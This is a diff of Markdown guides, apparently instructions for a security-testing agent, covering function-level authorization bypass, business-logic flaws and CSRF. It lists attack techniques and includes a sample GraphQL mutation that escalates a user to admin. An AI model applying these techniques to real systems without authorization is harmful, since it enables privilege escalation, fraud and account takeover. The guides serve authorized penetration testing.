- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
|
- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
|
||||||
- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
|
- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
|
||||||
- Example:
|
|
||||||
```
|
```graphql
|
||||||
mutation Promote($id:ID!){
|
mutation Promote($id:ID!){
|
||||||
a: updateUser(id:$id, role: ADMIN){ id role }
|
a: updateUser(id:$id, role: ADMIN){ id role }
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Grpc
|
### gRPC
|
||||||
|
|
||||||
- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
|
- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
|
||||||
- Reflection lists services/methods; call admin methods that the gateway hid
|
- Reflection lists services/methods; call admin methods that the gateway hid
|
||||||
|
|
||||||
#### Websocket
|
### WebSocket
|
||||||
|
|
||||||
- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
|
- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
|
||||||
- Try emitting privileged actions after joining standard channels
|
- Try emitting privileged actions after joining standard channels
|
||||||
|
|
||||||
#### Multi Tenant
|
### Multi-Tenant
|
||||||
|
|
||||||
- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
|
- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
|
||||||
|
|
||||||
#### Microservices
|
### Microservices
|
||||||
|
|
||||||
- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
|
- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
|
||||||
|
|
||||||
#### Bypass Techniques
|
## Bypass Techniques
|
||||||
|
|
||||||
##### Header Trust
|
### Header Trust
|
||||||
|
|
||||||
- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
|
- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
|
||||||
|
|
||||||
##### Route Shadowing
|
### Route Shadowing
|
||||||
|
|
||||||
- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
|
- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
|
||||||
|
|
||||||
##### Idempotency And Retries
|
### Idempotency and Retries
|
||||||
|
|
||||||
- Retry or replay finalize/approve endpoints that apply state without checking actor on each call
|
- Retry or replay finalize/approve endpoints that apply state without checking actor on each call
|
||||||
|
|
||||||
##### Cache Key Confusion
|
### Cache Key Confusion
|
||||||
|
|
||||||
- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
|
- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
|
||||||
|
|
||||||
#### Validation
|
## Testing Methodology
|
||||||
|
|
||||||
1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails.
|
1. **Build Actor × Action matrix** - Unauth, basic, premium, staff/admin; enumerate actions per role
|
||||||
2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement.
|
2. **Obtain tokens/sessions** - For each role
|
||||||
3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success.
|
3. **Exercise every action** - Across all transports and encodings (JSON, form, multipart), including method overrides
|
||||||
4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources.
|
4. **Vary headers and selectors** - Org/tenant/project; test behind gateway vs direct-to-service
|
||||||
|
5. **Include background flows** - Job creation/finalization, webhooks, queues; confirm re-validation
|
||||||
|
|
||||||
#### False Positives
|
## Validation
|
||||||
|
|
||||||
|
1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails
|
||||||
|
2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement
|
||||||
|
3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success
|
||||||
|
4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
- Read-only endpoints mislabeled as admin but publicly documented
|
- Read-only endpoints mislabeled as admin but publicly documented
|
||||||
- Feature toggles intentionally open to all roles for preview/beta with clear policy
|
- Feature toggles intentionally open to all roles for preview/beta with clear policy
|
||||||
- Simulated environments where admin endpoints are stubbed with no side effects
|
- Simulated environments where admin endpoints are stubbed with no side effects
|
||||||
|
|
||||||
#### Impact
|
## Impact
|
||||||
|
|
||||||
- Privilege escalation to admin/staff actions
|
- Privilege escalation to admin/staff actions
|
||||||
- Monetary/state impact: refunds/credits/approvals without authorization
|
- Monetary/state impact: refunds/credits/approvals without authorization
|
||||||
- Tenant-wide configuration changes, impersonation, or data deletion
|
- Tenant-wide configuration changes, impersonation, or data deletion
|
||||||
- Compliance and audit violations due to bypassed approval workflows
|
- Compliance and audit violations due to bypassed approval workflows
|
||||||
|
|
||||||
#### Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC.
|
1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC
|
||||||
2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings.
|
2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings
|
||||||
3. Inspect gateways for identity header injection; never trust client-provided identity.
|
3. Inspect gateways for identity header injection; never trust client-provided identity
|
||||||
4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor.
|
4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor
|
||||||
5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token.
|
5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token
|
||||||
|
|
||||||
#### Remember
|
## Summary
|
||||||
|
|
||||||
Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.
|
Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.
|
||||||
|
|||||||
@@ -1,10 +1,13 @@
|
|||||||
# BUSINESS LOGIC FLAWS
|
---
|
||||||
|
name: business-logic
|
||||||
|
description: Business logic testing for workflow bypass, state manipulation, and domain invariant violations
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Business Logic Flaws
|
||||||
|
|
||||||
Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.
|
Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
|
- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
|
||||||
- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
|
- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
|
||||||
@@ -13,15 +16,18 @@ Business logic flaws exploit intended functionality to violate domain invariants
|
|||||||
- Multi-tenant isolation: cross-organization data or action bleed
|
- Multi-tenant isolation: cross-organization data or action bleed
|
||||||
- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
|
- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
|
||||||
|
|
||||||
## Methodology
|
## High-Value Targets
|
||||||
|
|
||||||
1. Enumerate a state machine per critical workflow (states, transitions, pre/post-conditions). Note invariants (e.g., "refund ≤ captured amount").
|
- Pricing/cart: price locks, quote to order, tax/shipping computation
|
||||||
2. Build an Actor × Action × Resource matrix with at least: unauth, basic user, premium, staff/admin; identify actions per role.
|
- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
|
||||||
3. For each transition, test step skipping, repetition, reordering, and late mutation (modify inputs after validation but before commit).
|
- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
|
||||||
4. Introduce time, concurrency, and channel variance: repeat with parallel requests, different content-types, mobile/web/API/GraphQL.
|
- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability
|
||||||
5. Validate persistence boundaries: verify that all services, queues, and jobs re-enforce invariants (no trust in upstream validation).
|
- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting
|
||||||
|
- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
|
||||||
|
- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
|
||||||
|
- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
|
||||||
|
|
||||||
## Discovery Techniques
|
## Reconnaissance
|
||||||
|
|
||||||
### Workflow Mapping
|
### Workflow Mapping
|
||||||
|
|
||||||
@@ -35,24 +41,13 @@ Business logic flaws exploit intended functionality to violate domain invariants
|
|||||||
- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
|
- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
|
||||||
- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
|
- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
|
||||||
|
|
||||||
### State Time Axes
|
### State and Time Axes
|
||||||
|
|
||||||
- Replays: resubmit stale finalize/confirm requests
|
- Replays: resubmit stale finalize/confirm requests
|
||||||
- Out-of-order: call finalize before verify; refund before capture; cancel after ship
|
- Out-of-order: call finalize before verify; refund before capture; cancel after ship
|
||||||
- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
|
- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
|
||||||
|
|
||||||
## High Value Targets
|
## Key Vulnerabilities
|
||||||
|
|
||||||
- Pricing/cart: price locks, quote to order, tax/shipping computation
|
|
||||||
- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
|
|
||||||
- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
|
|
||||||
- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability
|
|
||||||
- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting
|
|
||||||
- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
|
|
||||||
- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
|
|
||||||
- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
|
|
||||||
|
|
||||||
## Exploitation Techniques
|
|
||||||
|
|
||||||
### State Machine Abuse
|
### State Machine Abuse
|
||||||
|
|
||||||
@@ -60,116 +55,124 @@ Business logic flaws exploit intended functionality to violate domain invariants
|
|||||||
- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
|
- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
|
||||||
- Split a single constrained action into many sub-actions under the threshold (limit slicing)
|
- Split a single constrained action into many sub-actions under the threshold (limit slicing)
|
||||||
|
|
||||||
### Concurrency And Idempotency
|
### Concurrency and Idempotency
|
||||||
|
|
||||||
- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
|
- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
|
||||||
- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
|
- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
|
||||||
- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
|
- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
|
||||||
|
|
||||||
### Numeric And Currency
|
### Numeric and Currency
|
||||||
|
|
||||||
- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
|
- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
|
||||||
- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
|
- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
|
||||||
- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
|
- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
|
||||||
|
|
||||||
### Quotas Limits Inventory
|
### Quotas, Limits, and Inventory
|
||||||
|
|
||||||
- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
|
- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
|
||||||
- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
|
- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
|
||||||
- Distributed counters without strong consistency enabling double-consumption
|
- Distributed counters without strong consistency enabling double-consumption
|
||||||
|
|
||||||
### Refunds Chargebacks
|
### Refunds and Chargebacks
|
||||||
|
|
||||||
- Double-refund: refund via UI and support tool; refund partials summing above captured amount
|
- Double-refund: refund via UI and support tool; refund partials summing above captured amount
|
||||||
- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
|
- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
|
||||||
|
|
||||||
### Feature Gates And Roles
|
### Feature Gates and Roles
|
||||||
|
|
||||||
- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
|
- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
|
||||||
- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
|
- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
|
||||||
|
|
||||||
### Advanced Techniques
|
## Advanced Techniques
|
||||||
|
|
||||||
#### Event Driven Sagas
|
### Event-Driven Sagas
|
||||||
|
|
||||||
- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
|
- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
|
||||||
- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
|
- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
|
||||||
- Cron/backfill jobs operating outside request-time authorization; mutate state broadly
|
- Cron/backfill jobs operating outside request-time authorization; mutate state broadly
|
||||||
|
|
||||||
#### Microservices Boundaries
|
### Microservices Boundaries
|
||||||
|
|
||||||
- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
|
- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
|
||||||
- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
|
- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
|
||||||
- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
|
- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
|
||||||
|
|
||||||
#### Multi Tenant Isolation
|
### Multi-Tenant Isolation
|
||||||
|
|
||||||
- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
|
- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
|
||||||
- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
|
- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
|
||||||
|
|
||||||
#### Bypass Techniques
|
## Bypass Techniques
|
||||||
|
|
||||||
- Content-type switching (json/form/multipart) to hit different code paths
|
- Content-type switching (JSON/form/multipart) to hit different code paths
|
||||||
- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
|
- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
|
||||||
- Client recomputation: totals, taxes, discounts computed on client and accepted by server
|
- Client recomputation: totals, taxes, discounts computed on client and accepted by server
|
||||||
- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
|
- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
|
||||||
|
|
||||||
#### Special Contexts
|
## Special Contexts
|
||||||
|
|
||||||
##### Ecommerce
|
### E-commerce
|
||||||
|
|
||||||
- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
|
- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
|
||||||
- Modify shipping tier post-quote; abuse returns to keep product and refund
|
- Modify shipping tier post-quote; abuse returns to keep product and refund
|
||||||
|
|
||||||
##### Banking Fintech
|
### Banking/Fintech
|
||||||
|
|
||||||
- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
|
- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
|
||||||
- Exploit grace periods on holds/authorizations to withdraw again before settlement
|
- Exploit grace periods on holds/authorizations to withdraw again before settlement
|
||||||
|
|
||||||
##### SaaS B2B
|
### SaaS/B2B
|
||||||
|
|
||||||
- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
|
- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
|
||||||
- Usage metering: report late or duplicate usage to avoid billing or to over-consume
|
- Usage metering: report late or duplicate usage to avoid billing or to over-consume
|
||||||
|
|
||||||
#### Chaining Attacks
|
## Chaining Attacks
|
||||||
|
|
||||||
- Business logic + race: duplicate benefits before state updates
|
- Business logic + race: duplicate benefits before state updates
|
||||||
- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
|
- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
|
||||||
- Business logic + CSRF: force a victim to complete a sensitive step sequence
|
- Business logic + CSRF: force a victim to complete a sensitive step sequence
|
||||||
|
|
||||||
#### Validation
|
## Testing Methodology
|
||||||
|
|
||||||
1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas).
|
1. **Enumerate state machine** - Per critical workflow (states, transitions, pre/post-conditions); note invariants
|
||||||
2. Provide side-by-side evidence for intended vs abused flows with the same principal.
|
2. **Build Actor × Action × Resource matrix** - Unauth, basic user, premium, staff/admin; identify actions per role
|
||||||
3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views).
|
3. **Test transitions** - Step skipping, repetition, reordering, late mutation
|
||||||
4. Quantify impact per action and at scale (unit loss × feasible repetitions).
|
4. **Introduce variance** - Time, concurrency, channel (mobile/web/API/GraphQL), content-types
|
||||||
|
5. **Validate persistence boundaries** - All services, queues, and jobs re-enforce invariants
|
||||||
|
|
||||||
#### False Positives
|
## Validation
|
||||||
|
|
||||||
|
1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas)
|
||||||
|
2. Provide side-by-side evidence for intended vs abused flows with the same principal
|
||||||
|
3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views)
|
||||||
|
4. Quantify impact per action and at scale (unit loss × feasible repetitions)
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
|
- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
|
||||||
- Visual-only inconsistencies with no durable or exploitable state change
|
- Visual-only inconsistencies with no durable or exploitable state change
|
||||||
- Admin-only operations with proper audit and approvals
|
- Admin-only operations with proper audit and approvals
|
||||||
|
|
||||||
#### Impact
|
## Impact
|
||||||
|
|
||||||
- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
|
- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
|
||||||
- Regulatory/contractual violations (billing accuracy, consumer protection)
|
- Regulatory/contractual violations (billing accuracy, consumer protection)
|
||||||
- Denial of inventory/services to legitimate users through resource exhaustion
|
- Denial of inventory/services to legitimate users through resource exhaustion
|
||||||
- Privilege retention or unauthorized access to premium features
|
- Privilege retention or unauthorized access to premium features
|
||||||
|
|
||||||
#### Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Start from invariants and ledgers, not UI—prove conservation of value breaks.
|
1. Start from invariants and ledgers, not UI—prove conservation of value breaks
|
||||||
2. Test with time and concurrency; many bugs only appear under pressure.
|
2. Test with time and concurrency; many bugs only appear under pressure
|
||||||
3. Recompute totals server-side; never accept client math—flag when you observe otherwise.
|
3. Recompute totals server-side; never accept client math—flag when you observe otherwise
|
||||||
4. Treat idempotency and retries as first-class: verify key scope and persistence.
|
4. Treat idempotency and retries as first-class: verify key scope and persistence
|
||||||
5. Probe background workers and webhooks separately; they often skip auth and rule checks.
|
5. Probe background workers and webhooks separately; they often skip auth and rule checks
|
||||||
6. Validate role/feature gates at the service that mutates state, not only at the edge.
|
6. Validate role/feature gates at the service that mutates state, not only at the edge
|
||||||
7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues.
|
7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues
|
||||||
8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss.
|
8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss
|
||||||
9. Chain with authorization tests (IDOR/Function-level access) to magnify impact.
|
9. Chain with authorization tests (IDOR/Function-level access) to magnify impact
|
||||||
10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards.
|
10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards
|
||||||
|
|
||||||
#### Remember
|
## Summary
|
||||||
|
|
||||||
Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.
|
Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.
|
||||||
|
|||||||
@@ -1,24 +1,25 @@
|
|||||||
# CROSS-SITE REQUEST FORGERY (CSRF)
|
---
|
||||||
|
name: csrf
|
||||||
|
description: CSRF testing covering token bypass, SameSite cookies, CORS misconfigurations, and state-changing request abuse
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# CSRF
|
||||||
|
|
||||||
CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.
|
Cross-site request forgery abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
|
**Session Types**
|
||||||
- Web apps with cookie-based sessions and HTTP auth
|
- Web apps with cookie-based sessions and HTTP auth
|
||||||
- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints
|
- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints
|
||||||
- Authentication flows: login/logout, password/email change, MFA toggles
|
|
||||||
- OAuth/OIDC: authorize, token, logout, disconnect/connect
|
|
||||||
|
|
||||||
## Methodology
|
**Authentication Flows**
|
||||||
|
- Login/logout, password/email change, MFA toggles
|
||||||
|
|
||||||
1. Inventory all state-changing endpoints (including admin/staff) and note method, content-type, and whether they are reachable via top-level navigation or simple requests (no preflight).
|
**OAuth/OIDC**
|
||||||
2. For each, determine session model (cookies with SameSite attrs, custom headers, tokens) and whether server enforces anti-CSRF tokens and Origin/Referer.
|
- Authorize, token, logout, disconnect/connect endpoints
|
||||||
3. Attempt preflightless delivery (form POST, text/plain, multipart/form-data) and top-level GET navigation.
|
|
||||||
4. Validate across browsers; behavior differs by SameSite and navigation context.
|
|
||||||
|
|
||||||
## High Value Targets
|
## High-Value Targets
|
||||||
|
|
||||||
- Credentials and profile changes (email/password/phone)
|
- Credentials and profile changes (email/password/phone)
|
||||||
- Payment and money movement, subscription/plan changes
|
- Payment and money movement, subscription/plan changes
|
||||||
@@ -28,149 +29,170 @@ CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely o
|
|||||||
- Admin/staff actions and impersonation flows
|
- Admin/staff actions and impersonation flows
|
||||||
- File uploads/deletes; access control changes
|
- File uploads/deletes; access control changes
|
||||||
|
|
||||||
## Discovery Techniques
|
## Reconnaissance
|
||||||
|
|
||||||
### Session And Cookies
|
### Session and Cookies
|
||||||
|
|
||||||
- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None). Note that Lax allows cookies on top-level cross-site GET; None requires Secure.
|
- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None)
|
||||||
- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone).
|
- Lax allows cookies on top-level cross-site GET; None requires Secure
|
||||||
|
- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone)
|
||||||
|
|
||||||
### Token And Header Checks
|
### Token and Header Checks
|
||||||
|
|
||||||
- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers). Test removal, reuse across requests, reuse across sessions, and binding to method/path.
|
- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers)
|
||||||
- Verify server checks Origin and/or Referer on state changes; test null/missing and cross-origin values.
|
- Test removal, reuse across requests, reuse across sessions, binding to method/path
|
||||||
|
- Verify server checks Origin and/or Referer on state changes
|
||||||
|
- Test null/missing and cross-origin values
|
||||||
|
|
||||||
### Method And Content Types
|
### Method and Content-Types
|
||||||
|
|
||||||
- Confirm whether GET, HEAD, or OPTIONS perform state changes.
|
- Confirm whether GET, HEAD, or OPTIONS perform state changes
|
||||||
- Try simple content-types to avoid preflight: application/x-www-form-urlencoded, multipart/form-data, text/plain.
|
- Try simple content-types to avoid preflight: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`
|
||||||
- Probe parsers that auto-coerce text/plain or form-encoded bodies into JSON.
|
- Probe parsers that auto-coerce `text/plain` or form-encoded bodies into JSON
|
||||||
|
|
||||||
### Cors Profile
|
### CORS Profile
|
||||||
|
|
||||||
- Identify Access-Control-Allow-Origin and -Credentials. Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration.
|
- Identify `Access-Control-Allow-Origin` and `-Credentials`
|
||||||
- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge.
|
- Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration
|
||||||
|
- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge
|
||||||
|
|
||||||
## Exploitation Techniques
|
## Key Vulnerabilities
|
||||||
|
|
||||||
### Navigation Csrf
|
### Navigation CSRF
|
||||||
|
|
||||||
- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced.
|
- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced
|
||||||
- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks.
|
- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks
|
||||||
|
|
||||||
### Simple Ct Csrf
|
### Simple Content-Type CSRF
|
||||||
|
|
||||||
- application/x-www-form-urlencoded and multipart/form-data POSTs do not require preflight; prefer these encodings.
|
- `application/x-www-form-urlencoded` and `multipart/form-data` POSTs do not require preflight
|
||||||
- text/plain form bodies can slip through validators and be parsed server-side.
|
- `text/plain` form bodies can slip through validators and be parsed server-side
|
||||||
|
|
||||||
### Json Csrf
|
### JSON CSRF
|
||||||
|
|
||||||
- If server parses JSON from text/plain or form-encoded bodies, craft parameters to reconstruct JSON server-side.
|
- If server parses JSON from `text/plain` or form-encoded bodies, craft parameters to reconstruct JSON
|
||||||
- Some frameworks accept JSON keys via form fields (e.g., `data[foo]=bar`) or treat duplicate keys leniently.
|
- Some frameworks accept JSON keys via form fields (e.g., `data[foo]=bar`) or treat duplicate keys leniently
|
||||||
|
|
||||||
### Login Logout Csrf
|
### Login/Logout CSRF
|
||||||
|
|
||||||
- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker’s account.
|
- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker's account
|
||||||
- Login CSRF: submit attacker credentials to victim’s browser; later actions occur under attacker’s account.
|
- Login CSRF: submit attacker credentials to victim's browser; later actions occur under attacker's account
|
||||||
|
|
||||||
### Oauth Oidc Flows
|
### OAuth/OIDC Flows
|
||||||
|
|
||||||
- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks; exploit relaxed SameSite on top-level navigations.
|
- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks
|
||||||
- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations.
|
- Exploit relaxed SameSite on top-level navigations
|
||||||
|
- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations
|
||||||
|
|
||||||
### File And Action Endpoints
|
### File and Action Endpoints
|
||||||
|
|
||||||
- File upload/delete often lack token checks; forge multipart requests to modify storage.
|
- File upload/delete often lack token checks; forge multipart requests to modify storage
|
||||||
- Admin actions exposed as simple POST links are frequently CSRFable.
|
- Admin actions exposed as simple POST links are frequently CSRFable
|
||||||
|
|
||||||
## Advanced Techniques
|
### GraphQL CSRF
|
||||||
|
|
||||||
### Samesite Nuance
|
- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads
|
||||||
|
- Batched operations may hide mutations within a nominally safe request
|
||||||
|
|
||||||
- Lax-by-default cookies are sent on top-level cross-site GET but not POST; exploit GET state changes and GET-based confirmation steps.
|
### WebSocket CSRF
|
||||||
- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices.
|
|
||||||
|
|
||||||
### Origin Referer Obfuscation
|
- Browsers send cookies on WebSocket handshake
|
||||||
|
- Enforce Origin checks server-side; without them, cross-site pages can open authenticated sockets and issue actions
|
||||||
- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null.
|
|
||||||
- about:blank/data: URLs alter Referer; ensure server requires explicit Origin/Referer match.
|
|
||||||
|
|
||||||
### Method Override
|
|
||||||
|
|
||||||
- Backends honoring _method or X-HTTP-Method-Override may allow destructive actions through a simple POST.
|
|
||||||
|
|
||||||
### Graphql Csrf
|
|
||||||
|
|
||||||
- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads.
|
|
||||||
- Batched operations may hide mutations within a nominally safe request.
|
|
||||||
|
|
